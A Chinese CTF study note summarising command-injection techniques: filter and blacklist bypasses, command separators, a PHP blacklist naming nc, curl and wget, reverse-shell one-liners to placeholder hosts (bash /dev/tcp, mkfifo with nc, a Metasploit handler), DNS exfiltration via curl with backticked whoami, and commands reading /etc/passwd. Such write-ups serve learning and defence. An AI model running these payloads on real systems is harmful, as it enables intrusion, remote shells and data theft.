ctf

命令执行总结

2017-12-09  本文已影响451人  ch3ckr

本文是学习命令执行过程中做的一些题目以及读过的文章进行整理总结,主要是方便接下来进一步的学习,如有错误之处,欢迎指出。

一、php调用外部程序常用的函数:

二、java命令执行

在Java SE中,存在Runtime类,在该类中提供了exec方法用以在单独的进程中执行特定的字符串命令。

三、造成命令执行的原因

四、命令执行的危害

五、绕过技巧

1. 绕过空格
<  --  重定向,如cat<flag.php
<>  --  重定向,如cat<>flag.php
%09  --  需要php环境,如cat%09flag.php
${IFS}  --  单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php
$IFS$9  --  后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php
2. 命令分隔
%0a  --  换行符,需要php环境
%0d  --  回车符,需要php环境
;  --  在 shell 中,担任”连续指令”功能的符号就是”分号”
&  --  不管第一条命令成功与否,都会执行第二条命令
&&  --  第一条命令成功,第二条才会执行
|  --  第一条命令的结果,作为第二条命令的输入
||  --  第一条命令失败,第二条才会执行
3. 命令终结符
%00  --  需要php环境
%20#  --  需要php环境
4. 黑名单绕过
a=c;b=at;c=flag;$a$b $c
a=c;b=at;c=heb;d=ic;ab{c}{d}
如果过滤了<>?,可以从已有的文件或环境变量中获取自己需要的字符。
如获取 < 符 -- echo `expr substr $(awk NR==1 test.php) 1 1`
echo "d2hvYW1p"|base64 -d
ca''t te""st.php
cat te\st.php
/bin/sh = /b?n/?h
$blacklist = [
      'flag', 'cat', 'nc', 'sh', 'cp', 'touch', 'mv', 'rm', 'ps', 'top', 'sleep', 'sed', 'apt', 'yum', 'curl', 'wget', 'perl',
      'python', 'zip', 'tar', 'php', 'ruby', 'kill', 'passwd', 'shadow', 'root', 'z','dir', 'dd', 'df', 'du', 'free','tempfile',
      'touch', 'tee', 'sha', 'x64', 'g','xargs', 'PATH','$0', 'proc', '/', '&', '|', '>', '<', ';', '"', '\'', '\\', "\n"
        ];
...(省略部分代码)
foreach($blacklist as $keyword) {
       if(strstr($ip, $keyword)) {
       return "{$keyword} not allowed";
...(省略部分代码)
exec("ping -c 1 \"{$ip}\" 2>&1", $ret);

绕过:

ip=`tac fla*` 
5. 绕过ip中的句点

网络地址可以转换成数字地址,比如127.0.0.1可以转化为2130706433
可以直接访问http://2130706433或者http://0x7F000001,这样就可以绕过.的ip过滤。
在线转换地址:数字转IP地址 IP地址转数字 域名转数字IP

6. win下执行bat
<?php
$command = 'dir '.$_POST['dir'];
$escaped_command = escapeshellcmd($command);
var_dump($escaped_command);
file_put_contents('out.bat',$escaped_command);
system('out.bat');
?>

执行.bat文件的时候,利用%1a,可以绕过过滤执行命令.

dir=../ %1a whoami

六、无回显命令执行(bugku题目)

攻击机:nc -l -p attackport -vvv
靶机:|bash -i >& /dev/tcp/attackip/attackport 0>&1
靶机:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackip attackport >/tmp/f
攻击机msf监听:
  use exploit/multi/handler 
  set payload linux/armle/shell/reverse_tcp 
  set lport attackport
  set lhost attackip
  set exitonsession false 
  exploit -j

靶机:|bash -i >& /dev/tcp/attackip/attackport 0>&1

|curl `whoami`.xxxx.xxx(子域名)

这样就会在利用网址看到反弹结果。这里解释一下\whoami\因为`反引号在linux下是执行命令的特殊符号,原理请见:DNS隧道技术解析

七、突破长度限制

#这里是突破七个字
<?php
if(strlen($_GET[test])<8){
echo shell_exec($_GET[test]);
}
?>

思路:利用重定向符 > 生成文件,1>1,a>1都可以生成文件1,即使后者会报错。然后利用 ls -t 根据生成文件的时间将文件名合并成一句命令,最后通过 sh 命令执行命令下载shell.php。
这里可以看一个题目的writeup
关于长度限制的还有HITCON2015跟2017的题目可以学习。

八、各种读文件命令

cat--由第一行开始显示内容,并将所有内容输出
tac--从最后一行倒序显示内容,并将所有内容输出
more-- 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head-- 只显示头几行
tail --只显示最后几行
nl --类似于cat -n,显示时输出行号
tailf-- 类似于tail -f
vim --使用vim工具打开文本
vi --使用vi打开文本cat 由第一行开始显示内容,并将所有内容输出

九、歪门邪道

echo /*/*/*flag*   -- 枚举文件和目录
sort /app/class/flag.php -- 从最后一行开始读取文件
find -- 列出当前目录下的文件以及子目录所有文件
&{grep,-nrw,.} -- 递归读取当前目录下的文件以及子目录所有文件
{cat,/etc/passwd}
curl file:///etc/passwd
strings /etc/passwd
uniq -c/etc/passwd
bash -v /etc/passwd
rev /etc/passwd

十、工具

一个FUZZing工具:shelling

Link:

上一篇 下一篇

猜你喜欢

热点阅读